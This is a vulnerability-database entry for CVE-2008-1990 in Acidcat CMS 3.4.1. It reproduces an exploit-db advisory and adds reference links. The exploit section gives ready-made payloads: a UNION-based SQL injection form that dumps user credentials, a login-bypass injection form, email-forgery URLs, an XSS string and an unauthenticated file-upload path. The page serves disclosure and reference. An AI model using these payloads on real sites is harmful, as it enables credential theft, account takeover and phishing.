Acidcat CMS 多个SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1115041 漏洞类型 SQL注入
发布时间 2008-04-20 更新时间 2009-01-29
CVE编号 CVE-2008-1990 CNNVD-ID CNNVD-200804-404
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/5478
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200804-404
|漏洞详情
AcidcatCMS3.4.1中存在多个SQL注入漏洞。远程攻击者通过(1)对default.asp的cID参数以及(2)对main_login2.asp的用户名参数,以执行任意SQL命令。
|漏洞EXP
########################## www.BugReport.ir #######################################
#
#      AmnPardaz Security Research Team
#
# Title: Acidcat CMS Multiple Vulnerabilities.
# Vendor: www.acidcat.com
# Vulnerable Version: 3.4.1
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/36
###################################################################################


####################
1. Description:
####################
Acidcat CMS is a web site and simple Content Management System that can be administered via a web browser.

####################
2. Vulnerability:
####################
    2.1. There is a SQL Injection in "default.asp". By using it, attacker can gain usernames and encrypted passwords.
        2.1.1. POC:
                Check the exploit section.
    2.2. There is a logical vulnerability in which attacker can send email by the site without any permission.
        2.2.1. POC:
                Check the exploit section.
    2.3. There is a SQL Injection in "main_login2.asp". By using it, attacker can login to the site.
        2.3.1. POC:
                Check the exploit section.
    2.4. There is a XSS in "/admin/admin_colors_swatch.asp".
        2.4.1. POC:
                /admin/admin_colors_swatch.asp?field=value='';}alert('XSS');function(){myForm.myText
    2.5. There is a FckEditor which has no permission, and attacker can upload his/her file.
        2.5.1. POC:
                /admin/fckeditor/editor/filemanager/connectors/test.html
####################
3. Exploits:
####################

 Original Exploit URL: http://bugreport.ir/index.php?/36/exploit

    3.1. Attacker can gain usernames and passwords:
    -------------
        <form action="http://[The URL]/default.asp?formType=&itemID=" method="post">
        <input type="text" name="cID" id="cID" value="-1 union select 1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user" />
        <br />
        <input type="submit" value="Submit" />
        </form>

    -------------
    3.2. Attacker can send email without any permission:
     -------------
        default_mail_aspemail.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456!

        default_mail_cdosys.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456!

        default_mail_jmail.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456!
    -------------
    3.3. Attacker can login to the site:
    -------------
        <form action="main_login2.asp" method="post">
        <input type="hidden" name="username" id="username" value="FooNot' union select 1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBcO%9Au%5F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%2C%B6s%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE' from ac_user where Username='1'or'1'='1'or'1'='1" size="200"/>
        <br />
        <input type="hidden" name="password" id="password" value="0" />
        <br />
        <input type="submit" value="Click To Login!" />
        </form>
    -------------
####################
4. Solution:
####################
    Edit the source code to ensure that inputs are properly sanitized.
####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-04-20]
|参考资料

来源:XF
名称:acidcat-default-sql-injection(41918)
链接:http://xforce.iss.net/xforce/xfdb/41918
来源:BID
名称:28868
链接:http://www.securityfocus.com/bid/28868
来源:BUGTRAQ
名称:20080420AcidcatCMSMultipleVulnerabilities
链接:http://www.securityfocus.com/archive/1/archive/1/491129/100/0/threaded
来源:MILW0RM
名称:5478
链接:http://www.milw0rm.com/exploits/5478
来源:SREASON
名称:3842
链接:http://securityreason.com/securityalert/3842
来源:SECUNIA
名称:29916
链接:http://secunia.com/advisories/29916
来源:MISC
链接:http://bugreport.ir/index.php?/36